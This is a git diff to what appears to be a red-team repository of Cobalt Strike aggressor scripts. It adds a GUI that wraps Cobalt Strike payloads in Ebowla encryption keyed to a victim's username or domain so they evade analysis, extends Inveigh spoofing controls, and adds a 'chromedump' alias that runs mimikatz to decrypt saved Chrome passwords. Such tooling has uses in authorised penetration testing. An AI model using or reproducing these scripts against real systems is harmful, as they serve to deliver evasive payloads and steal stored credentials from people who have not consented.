diff --git a/Ebowla/ebowla-interop.cna b/Ebowla/ebowla-interop.cna new file mode 100644 index 0000000..9f243a0 --- /dev/null +++ b/Ebowla/ebowla-interop.cna @@ -0,0 +1,271 @@ +# The beginning of integration with Ebowla +# Put ebwola.py in your path, for example: +# ln -s /opt/Ebowla/ebowla.py /usr/bin/ebowla.py +# You can generate a payload by clicking on Attacks -> Generate Ebowla Payload, just follow the instructions +# +# Some more work could be done to make this better, but for now, I'm just going to assume you have ebowla installed in /opt/Ebowla +# - @Und3rf10w 20170228 + +sub ebowlaHelperConfigPopup { + import javax.swing.JFrame; + import javax.swing.JPanel; + import java.awt.GridLayout; + import java.awt.BorderLayout; + import javax.swing.JScrollPane; + import javax.swing.JTextPane; + import javax.swing.JLabel; + import javax.swing.JTextField; + import javax.swing.JButton; + import javax.swing.JComboBox; + import javax.swing.JEditorPane; + import javax.swing.ScrollPaneConstants; + import javax.swing.JDialog; + import javax.swing.DefaultComboBoxModel; + import javax.swing.SwingConstants; + $dialog = dialog("Ebowla Configuration Window", 450, 550); + + # Base content pane + $contentPane = [new JPanel]; + [$contentPane setLayout: [new GridLayout: 9, 1, 0, 0]]; + + # Panel for holding the instructions + $instructionsPanel = [new JPanel]; + [$contentPane add: $instructionsPanel]; + [$instructionsPanel setLayout: [new GridLayout: 0, 1, 0, 0]]; + + $scrollPane = [new JScrollPane]; + [$scrollPane setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]]; + [$scrollPane setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]]; + [$instructionsPanel add: $scrollPane]; + + $textPaneInstructions = [new JTextPane]; + [$textPaneInstructions setContentType: "text/html"]; + [$textPaneInstructions setText: "ENSURE YOU EDIT THE ENCRYPTION CONFIGURATION AT THE BOTTOM OF THIS WINDOW.
Use this menu to set the various configuration options for the Ebowla payload you want to generate. This assumes you already have a desired payload generated via Cobalt Strike. The pre-generated payload must match your desired output type. Maybe eventually we can have it where it generates a payload on the fly and does everything automagically (submit a pull request).\n\nThe general workflow is to just work down this menu:\n
    \n
  1. Generate and a payload using the built-in Cobalt Strike payload generator
    2. \n
  2. Open this menu (you are here!)
    3. \n
  3. Specify the path to the payload
    4. \n
  4. Specify the desired output type (Go, Python, Powershell)
    5. \n
  5. Specify the desired output payload type
    6. \n
  6. Specify the key iterations (if nessessary)
    7. \n
  7. Specify the minus bytes
    8. \n
  8. Specify the encryption type
    9. \n
  9. Modify the settings for your desired encryption type
    10. \n
\n\nDEFINITIONS:\n"]; + [$textPaneInstructions setCaretPosition: 0]; + [$scrollPane setViewportView: $textPaneInstructions]; + [$textPaneInstructions setEditable: false]; + + # Panel for selecting the path to the input payload + $payloadInputPanel = [new JPanel]; + [$contentPane add: $payloadInputPanel]; + + $lblPayloadInputPath = [new JLabel: "Path to input payload:"]; + [$payloadInputPanel add: $lblPayloadInputPath]; + + $textFieldPayloadInput = [new JTextField]; + [$payloadInputPanel add: $textFieldPayloadInput]; + [$textFieldPayloadInput setColumns: 15]; + + $btnInputBrowse = [new JButton: "Browse..."]; + [$payloadInputPanel add: $btnInputBrowse]; + + # Logic for the browse button: + + ########### TODO: FIX THIS. THIS PART ISN'T WORKING ############## + # [$btnInputBrowse addActionListener: lambda({ + # prompt_file_open("Select your input payload", &closure, false{ + # $inputPayloadPath = $1; + # [$textFieldPayloadInput setText: $inputPayloadPath]; + # }); + # })]; + + # Panel for selecting the output type + $outputPanel = [new JPanel]; + [$contentPane add: $outputPanel]; + $lblOutputType = [new JLabel: "Output Type:"]; + [$outputPanel add: $lblOutputType]; + $comboBoxOutput = [new JComboBox]; + [$comboBoxOutput addItem: "Go"]; + [$comboBoxOutput addItem: "Powershell"]; + [$comboBoxOutput addItem: "Python"]; + [$comboBoxOutput setSelectedIndex: 0]; + [$outputPanel add: $comboBoxOutput]; + + + # Panel for selecting Payload Type + $payloadTypePanel = [new JPanel]; + [$contentPane add: $payloadTypePanel]; + + $lblPayloadType = [new JLabel: "Payload Type:"]; + [$payloadTypePanel add: $lblPayloadType]; + + $comboBoxPayload = [new JComboBox]; + + # Logic for the dynamically populated payload combobox: + # Create the models: + $payloadTypeModelPowershell = [new DefaultComboBoxModel: @("EXE", "CODE", "DLL_x86", "DLL_x64", "FILE_DROP")]; #was casted as final + $payloadTypeModelPython = [new DefaultComboBoxModel: @("EXE", "SHELLCODE", "CODE", "FILE_DROP")]; #was casted as final + $payloadTypeModelGo = [new DefaultComboBoxModel: @("EXE", "DLL_x86", "DLL_x64", "SHELLCODE")]; #was casted as final + + # Set 'Go' as the default model (because the default output type is 'Go') + [$comboBoxPayload setModel: $payloadTypeModelGo]; + + # Logic to dynamically populate comboBoxPayload: + [$comboBoxOutput addActionListener: lambda({ + if ([$comboBoxOutput getSelectedItem] eq "Powershell"){ + [$comboBoxPayload setModel: $payloadTypeModelPowershell]; + } else if ([$comboBoxOutput getSelectedItem] eq "Python"){ + [$comboBoxPayload setModel: $payloadTypeModelPython]; + } else { + [$comboBoxPayload setModel: $payloadTypeModelGo]; + } + })]; + + [$payloadTypePanel add: $comboBoxPayload]; + + # Panel for selecting the key iterations + $keyIterPanel = [new JPanel]; + [$contentPane add: $keyIterPanel]; + + $lblKeyIterations = [new JLabel: "Key iterations:"]; + [$keyIterPanel add: $lblKeyIterations]; + + $textFieldKeyIter = [new JTextField]; + [$textFieldKeyIter setText: "10000"]; + [$keyIterPanel add: $textFieldKeyIter]; + [$textFieldKeyIter setColumns: 10]; + + # Panel for selecting minus bytes + $minusBytesPanel = [new JPanel]; + [$contentPane add: $minusBytesPanel]; + + $lblMinusBytes = [new JLabel: "Minus bytes:"]; + [$minusBytesPanel add: $lblMinusBytes]; + + $textFieldMinusBytes = [new JTextField]; + [$textFieldMinusBytes setText: "1"]; + [$textFieldMinusBytes setColumns: 3]; + [$minusBytesPanel add: $textFieldMinusBytes]; + + # Panel for selecting encryption type + $encTypePanel = [new JPanel]; + [$contentPane add: $encTypePanel]; + + $lblEncType = [new JLabel: "Encryption Type:"]; + [$encTypePanel add: $lblEncType]; + + $comboBoxEncType = [new JComboBox]; + [$comboBoxEncType addItem: "ENV"]; + [$comboBoxEncType addItem: "OTP"]; + [$comboBoxEncType setSelectedIndex: 0]; + [$encTypePanel add: $comboBoxEncType]; + + # Panel for the general configuration editor + $configEditorPanel = [new JPanel]; + [$contentPane add: $configEditorPanel]; + [$configEditorPanel setLayout: [new GridLayout: 0, 1, 0, 0]]; + + $scrollPaneConfigEditor = [new JScrollPane]; + [$scrollPaneConfigEditor setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]]; + [$scrollPaneConfigEditor setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]]; + [$configEditorPanel add: $scrollPaneConfigEditor]; + $dtrpConfigEditor = [new JEditorPane]; + $lblConfigurationEditor = [new JLabel: "Encryption Configuration Editor"]; + [$lblConfigurationEditor setHorizontalAlignment: [SwingConstants CENTER]]; + [$dtrpConfigEditor setContentType: "text/encriched"]; + [$dtrpConfigEditor setText: "[otp_settings]\n # otp is simple, provide one time pad, type, and starting search location\n # type is full otp to reconstruct the malware in memory, or an offset in the file for a symmetric key\n\n otp_type = key # OPTIONS: full, key\n\n\n # File for use with otp\n\n pad = 'explorer.exe'\n\n # Max pad size: Decide the largest pad size to use. \n # 256 ** 3 - 1 (16777215 or 0xffffff) maximum is supported\n # Too small might be a bad idea... \n\n pad_max = 0xffffff\n\n # starting location in the path to start looking if walking the path\n\n scan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\n\n # For use with FULL OTP:\n # Number of max bytes for matching the payload against the OTP \n # -- larger byte width equals possible smaller lookup table but longer build times\n\n byte_width = 9\n\n\n\n[symmetric_settings_win]\n # AES-CFB-256 key from a combination of the any of the following settings.\n # Any of the following can be used, the more specific to your target the better. \n\n\n # set the value to '' if you do not want to use that value\n\n\n # This is not a permanent list. Any env variable can be added below.\n # If you want the env variable to be used, give it a value.\n # These are case insensitive.\n \n [[ENV_VAR]]\n \n username = 'admin'\n computername = ''\n homepath = ''\n homedrive = ''\n Number_of_processors = ''\n processor_identifier = ''\n processor_revision = ''\n userdomain = 'DESKTOP-E1D6G0A'\n systemdrive = ''\n userprofile = ''\n path = ''\n temp = ''\n\n\n [[PATH]]\n \n # Check if a path exists on the workstation\n # Only one path can be used. This is immutable. To use, give it a value and a start location.\n \n # This is the path that will be used as part of the key\n\n path = ''\n \n # You can provide Env Variables that are associated with a path for the start_loc\n # , such as %TEMP%, %APPDATA%, %PROGRAMFILES%\n # You Must use the %ENV VAR% when using env vars for paths!\n # Examples: C:\\Windows, C:\\Program Files, %APPDATA%\n \n start_loc = '%HOMEPATH%'\n\n\n [[IP_RANGES]]\n \n # Network mask for external enumeration 22.23.0.0\n # IP mask should not be used alone more simple to brute force.\n # Support for only 24 16 8 masks or exact ip\n # 12.12.0.0 or 12.12.12.12 or 12.12.0.0 or 12.0.0.0\n \n external_ip_mask = '' \n\n\n [[SYSTEM_TIME]]\n \n # Time Range with BEGING and END in EPOC\n # Should be used with another variable\n # This is a mask: 20161001 or 20161000 or 20160000\n # YEAR, MONTH, DAY\n \n Time_Range = '' \n"]; + [$dtrpConfigEditor setCaretPosition: 0]; + [$scrollPaneConfigEditor setViewportView: $dtrpConfigEditor]; + [$scrollPaneConfigEditor setColumnHeaderView: $lblConfigurationEditor]; + + + # Panel for holding the action buttons + $actionButtonPanel = [new JPanel]; + [$contentPane add: $actionButtonPanel]; + + $btnGenerate = [new JButton: "Generate"]; + [$actionButtonPanel add: $btnGenerate]; + [$btnGenerate addActionListener: lambda({ + $payloadInputPath = [$textFieldPayloadInput getText]; + $outputPayloadType = [$comboBoxOutput getSelectedItem]; + $keyIter = [$textFieldKeyIter getText]; + $minusBytes = [$textFieldMinusBytes getText]; + $payloadType = [$comboBoxPayload getSelectedItem]; + $encType = [$comboBoxEncType getSelectedItem]; + $ebowlaConfig = [$dtrpConfigEditor getText]; + saveEbowlaConfig($payloadInputPath, $outputPayloadType, $keyIter, $minusBytes, $payloadType, $encType, $ebowlaConfig); + # Close the window + [$dialog setVisible: 0]; + })]; + + $btnCancel = [new JButton: "Cancel"]; + [$actionButtonPanel add: $btnCancel]; + [$btnCancel addActionListener: lambda({ + [$dialog setVisible: 0]; + })]; + + # add everything to $dialog and make it visible + [$dialog add: $contentPane]; + [$dialog setVisible: 1]; +} + + + +sub dialog { + local('$dialog'); + $dialog = [new JDialog: $__frame__, $1]; + [$dialog setSize: $2, $3]; + [$dialog setLayout: [new BorderLayout]]; + [$dialog setLocationRelativeTo: $__frame__]; + return $dialog; +} + +sub saveEbowlaConfig { + # Saves the ebowla configuration, calls ebowla, generates the payload, remove the config, then exits. Returns the payload: + # saveEbowlaConfig(, , , , , , ); + # + # This is made as a sub so that these can be dynamically generated later + + # Set the arguments + $inputPath = $1; + $outputPayloadType = $2; + $keyIter = $3; + $minusBytes = $4; + $payloadType = $5; + $encType = $6; + $ebowlaConfig = $7; + + # Generate the temporary ebowla config + $handle = openf(">ebowlatmpconfig.config"); + println($handle, "[Overall]"); + println($handle, "\tEncryption_Type = " . $encType); + println($handle, "\toutput_type = " . $outputPayloadType); + println($handle, "\tminus_bytes = " . $minusBytes); + println($handle, "\tpayload_type = " . $payloadType); + println($handle, "\tkey_iterations = " . $keyIter); + println($handle, "\tclean_output = True\n"); + println($handle, $ebowlaConfig); + closef($handle); + + # Call ebowla and generate the payload: + # This assumes that ebowla is in your $PATH as ebowla.py. I don't have a good workaround for this. + $genEbowlaPayload = exec("ebowla.py " . $inputPath . " ebowlatmpconfig.config"); + @pushPayloadGen = readAll($genEbowlaPayload); + + # Remove the generated config + # Wait up to 10 seconds for the payload to be generated. + $returnValue = wait($genEbowlaPayload, 10 * 1000); + if ($returnValue == 0) { + $answer = search(@pushPayloadGen, &vaildPathCriteria); + if ($answer ne $null){ + @generatedPathArray = split(': ', $answer, 2); + show_message("Payload has been generated at: " . cwd() . "/output/" . @generatedPathArray[1]); + } + closef($genEbowlaPayload); + } else { + show_error("Something went wrong when trying to generate payload. Please see Script Console for more info"); + closef($genEbowlaPayload); + } + + deleteFile("ebowlatmpconfig.config"); +} + +popup attacks{ + item ("Generate Ebowla Payload", { + ebowlaHelperConfigPopup(); + }); +} + +sub vaildPathCriteria{ + return iff("[*] Writing" isin $1, "$1", $null); +} \ No newline at end of file diff --git a/README.md b/README.md index f5f8326..f44383d 100644 --- a/README.md +++ b/README.md @@ -52,6 +52,10 @@ Most of the useful scripts here are organized in [kits](kits). All you have to d Runs [Inveigh](https://github.com/Kevin-Robertson/Inveigh) against the selected machine(s) for a specified amount of time. This does automatically enable LLMNR and NBNS spoofing. +>Ebowla/ + +Adds interoperability between Cobalt Strike and [Ebowla](https://github.com/Genetic-Malware/Ebowla). I plan on making this process much more integrated and automated, but at this time, you can generate an Ebowla payload within Cobalt Strike by going to ```Attacks -> Generate Ebowla Payload```. See [ewbowla-interop.cna](Ebowla/ebowla-interop.cna) for instructions. + >Pushover/ [Pushover](https://pushover.net) support for Cobalt Strike, ridiculously useful. diff --git a/inveigh/inveigh.cna b/inveigh/inveigh.cna index 65b8d47..89b8de1 100644 --- a/inveigh/inveigh.cna +++ b/inveigh/inveigh.cna @@ -32,6 +32,13 @@ sub stopInveigh{ bpowershell($bid, "Stop-Inveigh"); } +sub stopInveigh-Unprivileged{ + $bid = $1; + binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1")); + bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1")); + bpowershell($bid, "Stop-Inveigh"); +} + popup beacon_bottom { menu "Inveigh"{ item "Run Inveigh"{ @@ -50,9 +57,15 @@ popup beacon_bottom { item "Stop Running Inveigh"{ local('$bid'); foreach $bid ($1){ - blog($1, "Attempting to stop Inveigh"); - stopInveigh($bid); + if (-isadmin $bid){ + blog($1, "Attempting to stop Inveigh"); + stopInveigh($bid); + } + else { + blog($1, "Attempting to stop unprivileged Inveigh"); + stopInveigh-Unprivileged($bid); + } } } } -} \ No newline at end of file +} diff --git a/kits/PersistKit/scripts/Persist-Poweliks.ps1 b/kits/PersistKit/scripts/Persist-Poweliks.ps1 index 2f5b279..c663b02 100644 --- a/kits/PersistKit/scripts/Persist-Poweliks.ps1 +++ b/kits/PersistKit/scripts/Persist-Poweliks.ps1 @@ -86,4 +86,4 @@ PS C:\> Remove-Poweliks } else { echo "[!] Error Remove Launcher (already removed?)" } -} \ No newline at end of file +} diff --git a/kits/ThirdParty/thirdparty.cna b/kits/ThirdParty/thirdparty.cna index 41774c2..ddf24d6 100644 --- a/kits/ThirdParty/thirdparty.cna +++ b/kits/ThirdParty/thirdparty.cna @@ -55,3 +55,9 @@ sub com_exec_go { bstage($1, $2, $3); } + +# Chrome dump per #armitage IRC: +# -`butane +alias chromedump { + bmimikatz($1, "dpapi::chrome /in:\"%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data\" /unprotect"); +}